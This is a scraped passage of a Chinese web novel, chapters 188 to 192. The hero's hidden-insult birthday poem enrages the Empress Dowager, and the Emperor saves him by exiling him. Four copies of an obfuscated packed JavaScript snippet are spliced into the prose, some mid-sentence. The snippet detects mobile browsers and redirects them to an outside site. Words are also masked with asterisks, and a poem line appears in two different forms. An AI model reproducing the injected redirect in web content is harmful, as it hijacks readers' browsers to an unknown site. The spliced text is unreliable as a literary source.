她的下手边,是面带微笑,眼神阴毒的国舅梁越。 再往下,则是大业朝文武百官,按照品级,分坐两侧。 整个大殿,被布置得流光溢彩,奢华至极。 地上的红毯,是用西域进贡的最上等羊毛织成,踩上去,软得像是踩在云端。 殿内的梁柱,都用金箔包裹,上面盘绕着栩栩如生的祥龙瑞凤。 桌案上,摆满了奇珍异果,琼浆玉液。 一道道精美绝伦的菜肴,如流水般被宫女们端了上来,那浓郁的香气,弥漫了整个大殿。 大殿中央的戏台上,京城最有名的戏班子,正在上演着一出名为《麻姑献寿》的吉祥戏。 丝竹管弦之声,不绝于耳。 阿谀奉承之词,更是充斥在每一个角落。 “太后娘娘凤体安康,真是国之大幸,民之大幸啊!” “是啊是啊,看太后娘娘这气色,再活个一百年,都不成问题!” “这都是因为太后娘娘福泽深厚,有上天庇佑!” 梁党的官员们,一个个谄媚地笑着,将各种不花钱的好话,拼命地往梁太后身上堆。 梁太后听得心花怒放,脸上的皱纹都舒展开了,笑得合不拢嘴。 而坐在另一侧的景帝,则显得有些格格不入。 他穿着一身明黄色的龙袍,坐在梁太后的身边,却像一个提线木偶。 看着满桌的珍馐美味,听着耳边那些肉麻的吹捧,脑海中,却不由自主地浮现出之前呈上来的,关于各地灾情的奏报。 饿殍遍地,民不聊生。 再看看眼前这番穷奢极欲的景象。 他的心,像被针扎一样,一阵阵地刺痛。 他想发火,想掀了这张桌子,想指着这群只知道拍马屁的蛀虫的鼻子,问问他们,国库的钱,就是这么花的吗?百姓的死活,他们还管不管? 可他不敢。 他一抬头,就能看到母亲那张看似慈祥,实则威严的脸。 他一转头,就能看到国舅梁越那阴冷的目光。 所有的愤怒和不甘,最终,都只能化作一声无声的叹息,憋回肚子里。 他能做的,只有端起酒杯,挤出一个比哭还难看的笑容,强颜欢笑。 “母后,儿臣敬您一杯,祝您福如东海,寿比南山。” “好好好,皇帝有心了。” 梁太后满意地点了点头,象征性地抿了一口酒。 宴会的气氛,在一片虚伪的祥和中,被推向了高潮。 就在这时,梁越的目光,穿过人群,落在从始至终,一言不发,只是默默喝酒的年轻人身上。 梁越的嘴角,勾起一抹阴冷的笑意。 他站起身,端着酒杯,朗声道:“今日是太后大寿,普天同庆。我听说,咱们的忠勇侯,不仅能为国聚财,武能安邦,这文采,更是天下无双啊!” 他的声音很大,瞬间吸引了所有人的注意。 无数道目光,齐刷刷地,射向了陈平-川。 有好奇,有嫉妒,有幸灾乐祸。 陈平川放下酒杯,心中冷笑。 来了。 这老狐狸,终究还是忍不住了。 梁越继续说道,声音里带着虚伪的“赞赏”:“如此良辰美景,又有咱们的状元郎在场,若是没有佳作助兴,岂不是一大憾事?” “忠勇侯,何不当场作诗一首,为太后贺寿?” “也好让我等,一睹状元公的风采啊!” “对啊对啊!状元公,来一首!” “我等早就想见识见识状元公的文采了!” 梁党的官员们,立刻心领神会,纷纷跟着起哄。 一时间,整个大殿,都是催促陈平川作诗的声音。 所有人都看着他,等着看他如何应对这个局面。 写,还是不写? 写得好了,是理所应当,你是状元嘛。 但难免会落下一个阿谀奉承,趋炎附势的名声,与他之前刚正不阿的形象,大相径庭。 写得不好,那乐子可就大了。 堂堂状元,连贺寿诗都写不好,岂不是欺世盗名?到时候,梁越有的是办法,把这件事闹大,让他身败名裂。 更何况,以陈平川的性子,让他去给梁太后这个祸国殃民的老妖婆写赞美诗,那比杀了他还难受。 可若是不写,那就是不给太后面子,是御前失仪,恃功傲物! 这顶大帽子扣下来,谁也吃不消! 这,就是一个彻头彻尾的死局! 张廷玉和林锦玉的心,都提到了嗓子眼,紧张地看着陈平川,手心里全是汗。 就连景帝,也皱起了眉头,为陈平川捏了一把汗。 然而,出乎所有人意料的是。 陈平川的脸上,没有丝毫的为难和犹豫。 他缓缓站起身,对着主位上的梁太后,和一旁的梁越,微微一拱手。 “国舅爷谬赞了。” 他的声音,平静而又洪亮,回荡在整个大殿。 “既然太后和国舅有此雅兴,那下官,就恭敬不如从命了。” 他竟然,答应了! 答应得如此干脆,如此爽快! 梁越一愣,随即眼中的笑意更浓了。 他以为,陈平川终究还是“开窍”,知道谁才是大业朝真正的主人。 很好。 只要你肯低头,只要你肯写这首诗,你的名声,你的风骨,就全完了! “好!忠勇侯果然是爽快人!” 梁越抚掌大笑,“来人!笔墨伺候!” 立刻有太监,搬来一张书案,铺好宣纸,研好香墨。 陈平川走到案前,在万众瞩目之下,提起笔,略一沉吟,便挥毫泼墨,一气呵成! 片刻之后,一首对仗工整,辞藻华丽的七言律诗,便跃然纸上。 一名太监,小心翼翼地捧起宣纸,高声朗诵起来。 “梁栋擎天尊宝梁, 后宫垂范泽万家。 千官叩首称国母, 秋狝纵情逐猎狗。 圣心仁恕消灾祸, 寿诞恩威固邦国。 无边福祚息兵殃, 疆域安宁福万民。” 诗句一出,满堂喝彩! “好诗!好诗啊!” “不愧是状元之才!文采斐然,意境高远!” “‘梁栋擎天尊宝梁,后宫垂范泽万家’,此句甚好!甚好啊!” 官员们纷纷交口称赞,马屁声,此起彼伏。 梁太后听着这首诗,每一个字,都像是在夸她,把她夸成了千古第一的贤后。 她乐得嘴都合不拢了,脸上的笑容,灿烂得像一朵盛开的菊花。 “好!写得好!” 她连连点头,指着陈平川,对身边的景帝说道:“皇帝你看,这才是咱们大业朝的栋梁之才!文能提笔安天下,武能上马定乾坤!” “赏!重重有赏!” 第189章 疯了!当众骂太后是母狗? 梁越看着这一幕,心中冷笑连连。 陈平川啊陈平川,你终究,还是向权势,低下了你那高傲的头颅。 从今天起,你那个“陈青天”的名声,就要变成一个笑话了! 林锦玉和**,却是心惊肉跳。 他们不相信,以陈平川的性格,会写出如此露骨的马屁诗。 这太不正常了! 事出反常必有妖! 他们总觉得,这首看似华丽的诗句背后,一定隐藏着什么惊天的秘密。 就在梁太后最得意,梁越最快意的时候。 一个意想不到的人,站了出来。 那是一个依附于梁党的酸腐翰林,名叫王修。 他为了拍马屁,想在这首诗上,再做做文章,从更深层次,来吹捧一下太后和梁家。 他站出来,对着众人,摇头晃脑地“品鉴”起来。 “各位,各位!依下官看,此诗之妙,绝不仅在于辞藻华丽!” “其真正的精髓,在于藏头!” 他一脸高深莫测地说道。 “大家请看,这首诗,每一句的前一个字,连起来,那才是真正的点睛之笔啊!” 众人闻言,纷纷一愣。 藏头诗? 他们下意识地,开始在心中,默念起那几个首字…… 那名酸腐翰林王修,丝毫没有察觉到异样。 他还在为自己的“惊人发现”而沾沾自喜,准备好好地表现一番,在太后和国舅爷面前,大大地露个脸。 他清了清嗓子,提高了音量,用一种抑扬顿挫的语调,高声吟诵起来,仿佛自己是什么了不起的文学大家。 “大家听好了!” “这第一句,‘梁栋擎天尊宝梁’,首字乃是‘梁’字,寓意太后娘娘的梁家,乃是国之栋梁,擎天之柱!” “这第二句,‘后宫垂范泽万家’,首字乃是‘后’字,象征太后娘娘母仪天下,德被四海之尊位!” 他说到这里,还特意停顿了一下,卖了个关子,吊足了众人的胃口。 大殿内,所有人都静静地听着他的“高论”。 梁太后脸上的笑容,愈发灿烂。 梁越也满意地点了点头,觉得这个王修,很有眼力见,是个可造之材。 就连**和林锦玉,也皱起了眉头,心中暗道:“难道……是我们想多了?陈平川真的只是写了一首藏头马屁诗?” 王修见众人的反应都在他的预料之中,心中更是得意。 他继续摇头晃脑地念道: “这第三句,‘千官叩首称国母’,首字乃是‘千’字,彰显太后娘娘千秋万代,受万民敬仰之功德!” “这第四句,‘秋狝纵情逐**’,首字乃是‘秋’字,盛赞太后娘娘风华不减当年,更享千秋万岁之尊荣!” 听到这里,已经有不少官员,开始跟着附和起来。 “妙啊!实在是妙!” “原来是‘梁后千秋’!这四个字,简直是为太后娘娘量身打造的啊!” “陈大人之才,我等,望尘莫及!” 然而,陈平川的脸上,却始终挂着一丝若有若无的,冰冷的笑意。 他看着那个跳梁小丑一般的王修,眼神里,充满了鄙夷和怜悯。 一个什么都不知道的傻子! 王修的表演,还在继续。 他念完了前四句,又开始念后四句。 “各位请看,这第五句!‘圣心仁恕消灾祸’,首字,乃是一个‘圣’字!赞美太后心怀慈悲,有如圣人降世!” “第六句!‘寿诞恩威固邦国’,首字,乃是一个‘寿’字!祝愿太后福寿绵长,与国同休!” “第七句!‘无边福祚息兵殃’,首字,乃是一个‘无’字!寓意太后福泽无量,恩德无垠!” 念到这里,他已经激动得满脸通红。 只剩下最后一句了! 只要把最后一句的马屁拍响,今天这头功,就非他莫属了! 他深吸一口气,用尽了全身的力气,几乎是嘶吼着,念出了最后一句的首字! “这最后一句!‘疆域安宁福万民’!首字,乃是一个……” “乃是一个……” 他念到这里,声音却突然卡住了。 就像一只被人掐住了脖子的公鸡。 那个字,明明就在嘴边,可他却怎么也吐不出来。 因为,他终于反应过来了! 不对! 不对! 这**藏的不是头!而是尾! 一首藏尾的诗! 而最后那几个字连在一起…… 王修的脸色,“唰”的一下,变得惨白如纸。 冷汗,瞬间浸透了他的官服。 他的双腿,开始不受控制地颤抖起来。 他想闭嘴,可已经晚了! 当他卡壳的时候,满朝文武,包括龙椅上的景帝,主位上的梁太后,还有一脸得意的梁越,全都在心中,默默地将这首诗的真正含义,给读出来! 并不是什么:梁后千秋,圣寿无疆。 而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022475|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :梁!家!母!狗!祸!国!殃!民! 轰! 这八个字,就像一道巨雷,在每个人的脑海中,轰然炸响! 整个慈宁宫,瞬间,陷入了一片死一般的寂静! 落针可闻! 所有人都像是被施了定身法一样,僵在了原地。 他们脸上的笑容,凝固了。 他们的心脏,仿佛都停止了跳动。 所有人的目光,都下意识地,汇聚到了那个始作俑者,那个一脸平静的年轻人身上。 陈平川! 他竟然……他竟然敢! 他竟然敢在太后的寿宴上,当着满朝文武的面,用这种方式,指着太后的鼻子,骂她是……母狗! 骂她祸国殃民! 疯了! 这个家伙,一定是疯了! 这是何等的胆大包天! 这是何等的无法无天! 这已经不是胆子大的问题了,这他妈是根本就没想活了啊! 梁越脸上的笑容,僵住了。 他眼中的得意,变成了惊愕,又从惊愕,变成了滔天的怒火! 他感觉自己的肺都要气炸了! 他本来是想用捧杀之计,毁了陈平川的名声。 可他万万没想到,陈平川竟然直接掀了桌子! 用一种最决绝,最疯狂,最不要命的方式,给了他,给了整个梁家,一记最响亮的耳光! 而主位之上。 梁太后那张保养得宜,刚刚还笑成一朵菊花的脸,此刻,已经彻底扭曲了。 她先是茫然,然后是震惊,最后,是无边的愤怒! 她是谁? 她是当朝太后!是皇帝的母亲! 她竟然被一个她眼中的黄口小儿,一个泥腿子出身的贱民,当着所有人的面,用如此恶毒的语言,如此不堪的方式,给戏耍了!羞辱了! 那张脸,由红转青,由青转紫,最后,变得铁青一片! “啊——!” 一声刺耳到极致的尖叫,从她的喉咙里,爆发出来! 那声音,像是地狱里的恶鬼在咆哮! “啪!” 她猛地抓起桌上的玉如意,狠狠地砸在了地上! 名贵的玉如意,瞬间,四分五裂! “来人!来人啊!” 她指着陈平川,手指都在剧烈地颤抖,声音因为愤怒,而变得尖锐无比。 “给哀家……给哀家把这个不知死活的狗东西!拖出去!” “乱棍打死!!” “给哀家把他乱棍打死!!” 第190章 乱棍打死?陈平川情绪稳定,景帝爆发了! 梁太后那歇斯底里的尖叫,瞬间打破了慈宁宫内的寂静。 “哗啦!” 守卫在殿外的数十名大内侍卫,听到命令,如狼似虎一般,手持着明晃晃的腰刀,瞬间冲了进来! 他们面无表情,眼神冰冷,径直朝着陈平川逼近,将他团团围住。 雪亮的刀锋,在灯火的映照下,闪烁着森然的寒光。 “太后息怒!” **第一个反应过来,他“扑通”一声跪倒在地,脸色惨白地高声疾呼。 “陈平川乃国之重臣,顺城大捷的功臣,即便有所失言,也罪不至死啊!” “请太后开恩,明察此事!” “是啊太后!请太后开恩!” 林锦玉和其他一些与陈平川交好的清流官员,也纷纷跪下,为陈平川求情。 他们知道,陈平川今天这事,做得太冲动,太绝了! 但是,他们不能眼睁睁地看着这样一个国之栋梁,就这样**地死在这里! 然而,他们的求情,在此刻已经彻底疯狂的梁太后耳中,是那么的苍白无力。 “开恩?” 梁太后冷笑一声,那笑声,比鬼哭还难听。 “他当众辱骂哀家的时候,怎么没想过要哀家开恩?” “哀家今天,就是要让他死!” “谁敢求情,同罪论处!” 她的话,像一盆冰水,浇灭了所有人心中最后的一丝希望。 梁**员们,则是一个个露出了幸灾乐祸,甚至快意的笑容。 他们看着被侍卫包围的陈平川,心中爽快到了极点。 狂啊! 你再狂啊! 这下好了吧,自己把自己给玩**! 梁越更是得意地站了出来,对着那些侍卫,冷声喝道:“还愣着干什么?没听到太后的旨意吗?” “立刻,将这个大逆不道的狂徒,就地正法!” 他的眼中,闪烁着残忍而又快意的杀机。 他等这一天,已经等了太久了! “是!” 侍卫统领一挥手,数十名侍卫,就要扑向陈平川。 眼看,一场血光之灾,就要在眼前上演! **等人,绝望地闭上了眼睛。 完了。 一切都完了。 就在这千钧一发之际! 一个谁也想不到的人,爆发了。 景帝! 一直以来,像个木偶一样,坐在梁太后身边的景帝! 他亲眼目睹了这一切。 从梁越的捧杀,到陈平川的疯狂反击,再到母亲的雷霆震怒。 他的内心,经历了一场天人交战。 惊惧,害怕,恐慌…… 他怕母亲的怒火,怕国舅的权势,怕梁党的报复。 这些年来,他一直都活在这样的恐惧之中,活得像一个傀儡,一个笑话。 可是,当他看到陈平川那双清澈而又无畏的眼睛时。 当他看到**那些老臣,为了保住一个忠臣,跪在地上苦苦哀求时。 当他看到梁越那副小人得志,不可一世的嘴脸时。 一股前所未有的情绪,猛地从他的心底,喷涌而出! 那不是恐惧,不是害怕。 是愤怒!是**!是积压了十几年的,身为一个帝王,却活得像个孙子的滔**火! 凭什么! 凭什么朕的江山,要被你们这群人,搞得乌烟瘴气! 凭什么朕的忠臣,要被你们这群蛀虫,逼上绝路! 凭什么朕这个天子,要看你们的脸色行事! 够了! 真的够了! “住手!!” 一声惊天动地的怒吼,从景帝的口中,爆发出来! 这声怒吼,用尽了他全身的力气,声音甚至都有些嘶哑。 但其中蕴含的威严和怒火,让每个人都呆住了。 整个大殿,瞬间为之一静! 所有人都被这突如其来的怒吼,给震慑住了! 那些正要动手的侍卫,硬生生地停下,一脸错愕地望向龙椅的方向。 梁越脸上的得意,也瞬间凝固了。 所有人都用一种不敢置信的目光,看着那个缓缓站起身,胸膛剧烈起伏的帝王。 这是他们第一次,感受到,来自帝王的,真正的愤怒! 陈平川也有些诧异,他承认自己冲动了,却没想到,景帝也跟着一起冲动。 他更没想到,景帝会为了自己一个普通人,连皇位都不顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026210|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “朕说了,住手!” 景帝双目赤红,死死地盯着那些侍卫,一字一句地说道。 侍卫们被他那骇人的眼神,吓得心头一颤,下意识地,缓缓后退。 “皇帝!” 梁太后被景帝这突如其来的爆发,搞得一愣,随即,更加愤怒。 “你要**吗?!” 她厉声喝道:“哀家要杀了他!你敢违抗哀家的命令?!” “违抗?” 景帝缓缓地转过身,看向自己的母亲。 他的眼神中,不再是往日的懦弱和顺从。 取而代之的,是一种让梁太后都感到心惊的冰冷和决绝。 “母后,您是不是忘了。” 景帝的声音,很平静,平静得可怕。 “朕,才是这大业朝的天子!” “忠勇侯,是朕亲封的侯爵,是国之栋梁,是顺城大捷的功臣!” “岂能因为一句被小人曲解的诗词,就随意问罪?!” “此事,必有蹊跷!朕,要亲自查问!” 他的话,掷地有声! 这不仅仅是在为陈平川辩解,更是在向所有人,宣告他的立场! 梁太后被景帝这番话,气得浑身发抖。 “好!好一个亲自查问!” 她指着陈平川,尖声道:“他骂哀家是‘梁家母狗’!这难道还有假吗?!铁证如山!你还要怎么查?!” “你今天,是非要护着这个小畜生,跟哀家作对到底了,是吗?!” 母子二人,就在这大殿之上,当着满朝文武的面,彻底撕破了脸皮! 气氛,瞬间凝固到了极点。 剑拔**张! 所有人都感觉,自己快要窒息了。 他们知道,今天这事,已经不仅仅是陈平川一个人的生**。 而是关系到整个大业朝,未来走向的,一场皇权与后戚之间的,终极对决! 景帝看着自己母亲那张因为愤怒而扭曲的脸,心中那股积压多年的**,彻底爆发了。 他没有再大吼,也没有再咆哮。 他只是用冰冷的声音,一字一句地说道:“朕,还,没,死!” “这大业朝,还是朕的天下!” 第191章 囚笼与弃子,这腐朽的朝堂不待也罢! “朕还没死!这大业朝,还是朕的天下!” 景帝这番话,像是一把磨砺已久的利剑,终于出鞘,锋芒毕露! 梁太后和梁越惊愕地看着他。 他们看着眼前这个突然变得无比陌生的皇帝,心中同时涌起一股难以言喻的惊骇。 这还是那个一向懦弱,对他们言听计从的傀儡皇帝吗? 他那眼神,那语气,那周身散发出来的,属于帝王的威严,都让他们感到了一丝发自内心的……恐惧。 梁太后被景帝的气势,震得一时间,竟然说不出话来。 她张了张嘴,想要像往常一样,厉声斥责,却发现,自己一个字也发不出来。 她从未见过,自己这个儿子,如此强硬的一面。 慈宁宫内,气氛冷到了极点。 母子二人,就这样隔着几步的距离,遥遥对峙。 他们的背后,是两股庞大的**势力,在进行着无声而又激烈的碰撞。 **等保皇派大臣,一个个激动得浑身颤抖。 他们终于,终于等到了皇帝挺起脊梁的这一天! 而梁**员们,则是人人自危,脸色煞白。 他们惊恐地发现,他们一直以来所依仗的,太后那至高无上的权威,似乎……在皇帝这突如其来的爆发面前,出现了一丝裂痕。 就在这剑拔**张,一触即发的紧张时刻。 一个沉稳的声音,从殿外响起,打破了这令人窒息的僵局。 “臣,参见太后娘娘,参见陛下。” 众人循声望去。 只见一身亲王朝服的秦王,在老太监魏忠的引领下,不急不缓地,从殿外走了进来。 他的出现,像是一颗投入平静湖面的石子,瞬间激起了千层浪花。 秦王怎么来了? 他不是一直在自己的封地吗?什么时候回的京? 所有人的心里,都充满了疑惑。 只有景帝,在看到自己皇弟的那一刻,眼中闪过了一丝不易察觉的激动和安心。 他知道,自己最大的后援,到了。 秦王目不斜视,径直走到大殿中央。 他先是规规矩矩地,向梁太后和景帝行了跪拜大礼。 “皇弟免礼。” 景帝立刻说道。 秦王站起身,随即,话锋一转,脸上露出了凝重之色。 “启禀太后,启禀陛下。” 他从怀中,掏出了一份用火漆封口的奏报,高高举起。 “臣刚入京,便接到北境八百里加急军报!” “蛮族残部,于我朝边境,蠢蠢欲动!” “军情紧急,国事为重!” 秦王的声音,洪亮而又充满了力量。 “此时此刻,我大业朝,正值用人之际。忠勇侯陈平川,乃是顺城大捷的头号功臣,更是威震蛮族的一员猛将!” “若是在此时,仅仅因为一首尚未明晰的诗词,而处死国之重臣,不但会寒了天下将士之心,更会动摇我朝军心啊!” “届时,亲者痛,仇者快!还望太后与陛下,三思而后行!” 秦王这番话,说得有理有据,令人信服! 他没有直接为陈平川辩解,而是直接将事情,上升到了国家安危,边境军务的高度! 这一下,就给了所有人,一个台阶下。 尤其是景帝。 秦王的出现和支持,给了他巨大的底气。 “皇弟所言极是!” 景帝立刻附和道:“国事为重!陈爱卿在顺城立下不世之功,功大于过,此事,当从长计议!” **等老臣,也立刻抓住了这个机会,纷纷再次跪地。 “秦王殿下所言甚是!请太后以国事为重啊!” “陈平川虽言语有失,但其功劳,足以相抵!求太后开恩!” 局势,在瞬间,发生了逆转。 原本孤立无援的景帝和陈平川,因为秦王的入场,瞬间获得了强大的支持。 梁太后看着眼前的景象,脸色阴沉得能滴出水来。 她知道,有秦王和这一众老臣在,今天,想当场杀了陈平川,是不可能了。 如果她一意孤行,强行下令,必然会与景帝和秦王,彻底撕破脸。 到时候,激起异变,那后果,不堪设想。 梁越也看清了形势,他走到梁太后身边,低声劝道:“妹妹,今日之事,不可操之过急。” “秦王回京,事出突然。我们若强行杀了陈平川,恐怕会引火烧身,得不偿失。” “跑得了和尚,跑不了庙。只要这小子还在京城,我们有的是机会,慢慢炮制他。” 梁太后深吸一口气,胸口剧烈起伏,最终,还是强行压下了心中的杀意。 她知道,梁越说得对。 今天,她必须退一步。 但是,就这么轻易地放过陈平川,她又不甘心! 景帝看着依旧怒气未消的母亲,也知道,必须给她一个交代,否则,无法收场。 同时,他也必须想办法,将陈平川,送出京城这个漩涡中心。 因为他知道,只要陈平川还在京城一天,梁家就不会放过他。 今天能躲过去,明天呢? 只有让他离开,才是真正的保护。 于是,景帝用一种沉痛的语气,下达了最终的旨意。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026211|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“传朕旨意!” “忠勇侯陈平川,恃功傲物,御前失仪,言语轻浮,有失臣德!” “念其于国有功,功过相抵,死罪可免,活罪难逃!” “着,削去其忠勇侯爵位,罢免其太子少保、兵部右侍郎等一切官职!” “贬为庶民,即日离京,遣返原籍庐州府,终身,不得录用!” 这道圣旨一出,满堂皆惊! 削去一切官爵,贬为庶民,终身不得录用! 这对于一个前途无量的状元郎,一个功勋卓著的侯爷来说,无疑是最严厉的惩罚! 这等于,是彻底断送了他的仕途! 梁太后和梁越听到这个结果,虽然依旧不解恨,但总算是挽回了一点面子,勉强算是可以接受。 而**等人,则是心中一叹。 他们知道,这已经是景帝能争取到的,最好的结果了。 明着是贬斥,实际上,却是保全了陈平川的性命。 “臣,遵旨。” 陈平川平静地接下了这道圣旨。 他的脸上,没有愤怒,没有不甘,甚至,没有一丝一毫的波澜。 他平静得,有些可怕。 他当然知道,这是景帝在用自己的方式,保护他。 但是,他也从这份“保护”背后,看到了景帝深深的无力与妥协。 他看到了这个所谓的朝廷,是如何的腐朽,如何的黑暗。 他为之奋斗,为之流血,为之差点付出生命守护的,就是这样一个烂到了根子里的地方。 一股彻骨的寒意,从他的心底,缓缓升起。 这股寒意,让他对这个朝廷,对这个所谓的皇权,彻底地,失望了。 “带下去。” 景帝不忍再看陈平川的眼睛,疲惫地挥了挥手。 两名侍卫上前,名为“押送”,实为护送,带着陈平川,向殿外走去。 在走出慈宁宫大门的那一刻。 陈平川下意识地,回过头,望了一眼那座金碧辉煌,却又充满了肮脏与阴谋的宫殿。 在他的眼中,那不再是权力和荣耀的象征。 那是一个巨大的,华丽的囚笼。 囚笼里,关着一个痛苦挣扎,想要反抗,却又无能为力的皇帝。 关着一群面目狰狞,贪婪无度的权戚。 还关着一大群麻木不仁,随波逐流的百官。 而他,就像一个不小心闯入这个囚笼的异类。 如今,他终于被这个囚笼,排斥了出去。 也好。 陈平川的嘴角,泛起了一丝自嘲的苦笑。 他转过身,再也没有回头,头也不回地,大步离去。 第192章 风萧萧兮官道冷,意绵绵兮佳人情 陈平川被削官为民,贬回原籍的消息,就像一场十二级的风暴,在短短半天之内,就席卷了整个京城。 朝野上下,反应各不相同。 梁**员们,弹冠相庆,奔走相告,一个个都觉得天亮了,头顶上那把悬着的刀,终于被拿开了。 清流派的官员们,则是扼腕叹息,痛心疾首,纷纷感叹奸臣当道,贤臣蒙冤,朝廷自毁长城。 而京城的百姓们,在听到这个消息后,无不感到震惊和愤怒。 “怎么会这样?陈青天那么好的官,怎么说贬就给贬了?” “肯定是那帮贪官污吏,尤其是国舅爷梁越,在背后搞的鬼!” “老天不长眼啊!这样的好官,都容不下!” 一时间,京城内外,议论纷纷,民怨沸腾。 但这一切,都已经与陈平川无关了。 他回到了那座由景帝亲赐牌匾的忠勇侯府。 哦,不对。 现在,这里已经不是忠勇侯府了。 他,也只是一个普通的白身庶民,陈平川。 府里的下人们,看着自家主人就这么回来了,一个个都不知所措。 陈平川却显得很平静。 他淡淡地吩咐下人,将府里所有值钱的东西,分发给他们,作为遣散费。 然后,开始默默地收拾自己的行装。 他的东西不多,几件换洗的衣服,几本常读的书。 这个是非之地,他一刻也不想多待。 就在他收拾东西的时候,一个意想不到的人,来到了府门口。 “陈兄。” 来人一身青衫,风采依旧,正是慕容修。 他看着正在打包行李的陈平川,没有多余的废话,只是对着他,长长地作了一揖。 “陈兄,我陪你一起走。” 慕容修的脸上,带着洒脱的笑意。 “修,也已经向吏部,递交了辞呈。” “什么?” 陈平川停下了手中的动作,有些惊讶地看着他。 慕容修笑道:“与其在这潭死水里,与那些宵小之辈同流合污,倒不如归家去。” “或耕读于田园,或纵酒于山林,岂不快哉!” “你……” 陈平川看着慕容修那双清澈的眼睛,心情复杂。 他知道,慕容修此举,是在为他鸣不平,是在用自己的方式,表达对这个朝廷的**。 “你啊,还是这么洒脱。” 陈平川笑了,走上前,拍了拍他的肩膀。 “好!日后你到了庐州,我请你喝最好的酒!” “一言为定!” 两人相视一笑,一切,尽在不言中。 送走了慕容修,又有几拨人,陆续前来送行。 刘四海被陈平川劝说,准备返回顺城,临走前过来道别。 “刘掌柜,顺城,还需要你。” 陈平川郑重地对他说道:“赵莽将军虽然勇猛,但于对经济,却是一窍不通。你回去,替我看着顺城那份家业,继续和蛮族做生意,积蓄我们的力量。同时,帮我监视蛮族的一举一动。” 刘四海重重地点了点头:“大人放心!只要我刘四海还有一口气在,顺城,就乱不了!” 刘四海刚走不久,林锦玉也来了。 他看着陈平川,眼中满是担忧和不舍。 “平川兄,你此去,千万要保重。” “京城这边,你放心。” 陈平川拍了拍他的肩膀,“有你帮助张大人辅佐陛下,我就放心了。” 林锦玉明白他的意思,郑重地点了点头。 最后,秦王也亲自来了。 他屏退了左右,看着陈平川,长长地叹了一口气。 “平川,你……太冲动了。” 秦王的语气里,带着一丝责备,但更多的是无奈。 “你这一闹,把本王所有的计划,都给打乱了。” 陈平川苦笑一声:“王爷,对不住了。当时,实在是没忍住。” “罢了罢了。” 秦王摆了摆手,“事已至此,多说无益。你先回庐州避避风头,京城这边,本王会和景帝再想办法。等风头过了,定会想办法,让你官复原职。” “多谢王爷。” 陈平川深深一揖。 但他心里清楚,官复原职?恐怕,是遥遥无期了。 而且,他现在,对这个“官”,也已经彻底失去了兴趣。 …… 第二天一早。 一辆朴素的马车,在张金宝的陪同下,萧索地驶出了忠勇侯府。 陈平川回头看了一眼那块“国之柱石”的牌匾,自嘲地笑了笑,随即,头也不回地,踏上了归乡之路。 而就在他们离去的同时。 高高的城楼之上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026117|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 梁越凭栏远眺,看着那辆渐行渐远的马车,嘴角,勾起了一抹残忍的冷笑。 “都安排好了吗?” 他头也不回地问道。 一个如同鬼魅般的身影,无声无息地出现在他的身后,单膝跪地。 “回主子,已经安排好了。” “很好。” 梁越的声音,冰冷得不带一丝感情。 “告诉‘鬼影’的人,做得干净点,不要留下任何活口。” “景帝不是要他回乡闭门思过吗?” 梁越缓缓转过身,那张脸上,布满了狰狞的杀意。 “本国舅,要他,长眠于野!” …… 官道之上,秋风萧瑟。 陈平川的马车,缓缓行驶着。 就在他们即将驶出京城范围,来到城门外那片熟悉的十里长亭时。 陈平川的瞳孔,微微一缩。 他看到,在古道的尽头,一棵柳树下,静静地站着一个人。 纤细的身影,白色素衣,正遥遥地望着他们。 是张若素。 马车,缓缓停下。 陈平川走下车,看着那个向他走来的女子,心中,五味杂陈。 “你怎么来了?” 张若素走到他面前,那双清澈如秋水的眸子,静静地看着他。 “大人,你说过。” 她的声音,很轻,却很清晰。 “先为国靖难,再图私情。” “如今,国已难靖,你心灰意冷,我,更不能让你一人独行。” 她的话,像一股最温暖的溪流,缓缓地,流进了陈平川那颗已经冰冷失望的心。 那颗被朝堂的黑暗,冻得坚硬无比的心,在这一刻,似乎……融化了一角。 “别叫我大人了。” 陈平川看着她,许久,才挤出一个笑容。 “叫我平川吧。” 张若素的脸颊,微微一红,随即,重重地点了点头。 “嗯,平川。” 